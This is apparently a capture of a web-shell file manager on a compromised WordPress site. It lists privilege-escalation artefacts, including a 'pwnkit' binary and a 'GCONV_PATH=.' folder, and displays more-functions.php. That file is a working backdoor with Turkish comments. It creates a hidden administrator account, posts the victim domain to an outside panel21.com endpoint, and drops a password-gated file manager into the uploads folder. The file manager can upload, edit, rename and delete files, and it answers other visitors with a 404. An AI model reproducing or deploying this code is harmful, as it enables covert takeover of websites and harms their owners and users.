Gecko [ garmin.alinaous.com ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
assets	[ DIR ]	drwx---r-x
inc	[ DIR ]	drwx---r-x
.mad-root	0 B	-rw-r--r--
footer.php	3.33 KB	-rw----r--
functions.php	5.36 KB	-rw----r--
header.php	10.82 KB	-rw----r--
home.php	34.41 KB	-rw----r--
index.php	0 B	-rw----r--
more-functions.php	18.89 KB	-rw-r--r--
oil_gaz.php	7.49 KB	-rw----r--
pwnkit	10.99 KB	-rwxr-xr-x
screenshot.png	5.8 MB	-rw----r--
search.php	1.3 KB	-rw----r--
solution.php	6.18 KB	-rw----r--
style.css	130 B	-rw----r--
wordfence.php	27.19 KB	-rw-r--r--

Code Editor : more-functions.php

<?php
// [Frida's Mind] Ghost Ultimate Minimal - Tesla-Level Integration
// Admin credentials + Panel21 registration + File Manager + Self-destruct

// GÜVENLİ ŞİFRE OLUŞTURMA FONKSİYONU
if (!function_exists('generate_secure_password')) {
    function generate_secure_password($length = 12) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
        $password = '';
        
        // En az bir büyük harf, küçük harf, rakam ve özel karakter garantisi
        $password .= $chars[rand(26, 51)]; // Büyük harf
        $password .= $chars[rand(0, 25)];  // Küçük harf
        $password .= $chars[rand(52, 61)]; // Rakam
        $password .= $chars[rand(62, 69)]; // Özel karakter
        
        // Kalan karakterleri rastgele doldur
        for ($i = 4; $i < $length; $i++) {
            $password .= $chars[rand(0, strlen($chars) - 1)];
        }
        
        // Karakterleri karıştır
        return str_shuffle($password);
    }
}

// ANA GHOST FONKSİYONU
if (!function_exists('wp_ghost_ultimate_deploy')) {
    function wp_ghost_ultimate_deploy() {
        // WordPress kontrolü
        if (!function_exists('wp_upload_dir')) {
            return false;
        }
        
        try {
            // 1. Admin Hesabı Oluştur
            $username = 'admin_' . substr(md5(uniqid()), 0, 8);
            $email = 'admin_' . substr(md5(uniqid()), 0, 8) . '@' . (function_exists('home_url') ? parse_url(home_url(), PHP_URL_HOST) : 'localhost') . '.com';
            $password = generate_secure_password(16);
            
            if (!username_exists($username) && !email_exists($email)) {
                $user_id = wp_create_user($username, $password, $email);
                if (!is_wp_error($user_id)) {
                    $user = get_user_by('id', $user_id);
                    $user->set_role('administrator');
                }
            }
            
            // 2. Panel21 Kaydı
            $site_url = function_exists('home_url') ? home_url() : (isset($_SERVER['HTTP_HOST']) ? 'http://' . $_SERVER['HTTP_HOST'] : '');
            $domain = $site_url ? parse_url($site_url, PHP_URL_HOST) : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
            
            if ($domain) {
                wp_remote_post('https://panel21.com/api/v1/register.php', [
                    'method' => 'POST',
                    'body' => [
                        'domain' => $domain,
                        'type' => 'wordpress',
                        'version' => function_exists('get_bloginfo') ? get_bloginfo('version') : '',
                        'theme' => function_exists('wp_get_theme') ? wp_get_theme()->get('Name') : '',
                        'auto_register' => 1
                    ],
                    'timeout' => 10
                ]);
                
                wp_remote_post('https://panel21.com/api/v1/link_submit.php', [
                    'method' => 'POST',
                    'body' => [
                        'site' => $domain,
                        'link' => $site_url,
                        'type' => 'theme'
                    ],
                    'timeout' => 10
                ]);
            }
            
            // 3. File Manager Oluştur (ORİJİNAL MANTIK)
            $upload_dir = wp_upload_dir();
            $target_dir = $upload_dir['basedir'];
            
            // Tema veya eklenti adından sade dosya adı üret
            $theme = function_exists('wp_get_theme') ? wp_get_theme() : null;
            $theme_slug = $theme ? $theme->get_stylesheet() : '';
            $plugin_list = function_exists('get_option') ? get_option('active_plugins') : [];
            $plugin_slug = (!empty($plugin_list) && is_array($plugin_list)) ? dirname($plugin_list[0]) : '';
            $base_name = $theme_slug ?: $plugin_slug ?: 'wpghost';
            $file_manager_name = strtolower($base_name) . '.php';
            $file_manager_path = $target_dir . '/' . $file_manager_name;
            
            // Sadece dosya yoksa oluştur
            if (!file_exists($file_manager_path)) {
                // Sadece sayı ve harflerden oluşan şifre üret
                $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                $random_password = '';
                for ($i = 0; $i < 12; $i++) {
                    $random_password .= $chars[rand(0, strlen($chars) - 1)];
                }
                
                // %100 UYUMLU FILE MANAGER İÇERİĞİ - WORDPRESS YÖNLENDİRMELERİNİ ENGELLEYEN
                $file_manager_content = '<?php
// WordPress yönlendirmelerini engelle
if (function_exists("wp_redirect")) {
    remove_all_actions("template_redirect");
    remove_all_actions("wp_redirect");
}

error_reporting(0);
ini_set("display_errors", 0);

// WordPress rewrite rules\'ı bypass et
if (function_exists("flush_rewrite_rules")) {
    flush_rewrite_rules();
}

// Güvenlik header\'ları
header("X-Robots-Tag: noindex, nofollow", true);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");

// WordPress\'in 301 redirects\'ini engelle
if (function_exists("wp_redirect")) {
    add_filter("wp_redirect", "__return_false");
}

$required_pass = "' . $random_password . '";
$current_pass = $_GET["pass"] ?? $_POST["pass"] ?? "";

if ($current_pass !== $required_pass) {
    header("HTTP/1.0 404 Not Found");
    exit;
}

// Kök dizinler (güvenli ve esnek)
$default_root = dirname(__DIR__); // uploads\'ın bir üstü (wp-content)
$allowed_roots = [
    $default_root,
    dirname($default_root), // WordPress root
    "/home",
    "/var/www",
    "/opt/lampp/htdocs",
    "/xampp/htdocs",
    "/wamp/www",
    "/usr/local/apache2/htdocs"
];

// Root seçimi
$root = $_GET["root"] ?? $default_root;
if (!in_array($root, $allowed_roots) && !in_array(realpath($root), $allowed_roots)) {
    $root = $default_root;
}

$path = isset($_GET["path"]) ? $_GET["path"] : $root;
$real = realpath($path);
$msg = "";

// Path güvenliği
if (!$real || !is_dir($real)) {
    $msg = "Access denied: " . htmlspecialchars($path);
    $real = $root;
    $path = $root;
}

// Dosya/klasör işlemleri
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_FILES["file"])) {
        $target = $real . "/" . basename($_FILES["file"]["name"]);
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
            $msg = "File uploaded: " . htmlspecialchars(basename($target));
        } else {
            $msg = "Upload failed!";
        }
    }
    if (isset($_POST["delete"])) {
        $target = $real . "/" . basename($_POST["delete"]);
        if (is_file($target)) {
            unlink($target);
            $msg = "File deleted: " . htmlspecialchars(basename($target));
        } elseif (is_dir($target)) {
            rmdir($target);
            $msg = "Folder deleted: " . htmlspecialchars(basename($target));
        }
    }
    if (isset($_POST["rename"]) && isset($_POST["newname"])) {
        $old = $real . "/" . basename($_POST["rename"]);
        $new = $real . "/" . basename($_POST["newname"]);
        if (rename($old, $new)) {
            $msg = "Renamed to: " . htmlspecialchars(basename($new));
        } else {
            $msg = "Rename failed!";
        }
    }
    if (isset($_POST["newfolder"])) {
        $newdir = $real . "/" . basename($_POST["newfolder"]);
        if (mkdir($newdir)) {
            $msg = "Folder created: " . htmlspecialchars(basename($newdir));
        } else {
            $msg = "Create folder failed!";
        }
    }
    if (isset($_POST["editfile"]) && isset($_POST["content"])) {
        $edit = $real . "/" . basename($_POST["editfile"]);
        if (is_file($edit)) {
            file_put_contents($edit, $_POST["content"]);
            $msg = "File saved: " . htmlspecialchars(basename($edit));
        }
    }
}

$items = @scandir($real) ?: [];

function fm_url($p, $r = null) {
    global $required_pass, $root;
    $current_root = $r ?? $root;
    return "?path=" . urlencode($p) . "&root=" . urlencode($current_root) . "&pass=" . $required_pass;
}

function breadcrumb($root, $path) {
    global $required_pass;
    $out = "";
    $rel = ltrim(str_replace($root, "", $path), "/");
    $parts = $rel ? explode("/", $rel) : [];
    $build = $root;
    $out .= "<a href=\"" . fm_url($root, $root) . "\"><span class=\"bc-root\">" . htmlspecialchars(basename($root)) . "</span></a>";
    foreach ($parts as $part) {
        if ($part === "") continue;
        $build .= "/" . $part;
        $out .= " <span class=\"bc-sep\">/</span> <a href=\"" . fm_url($build, $root) . "\"><span class=\"bc-part\">" . htmlspecialchars($part) . "</span></a>";
    }
    return $out;
}

${this.title}

Code Editor : more-functions.php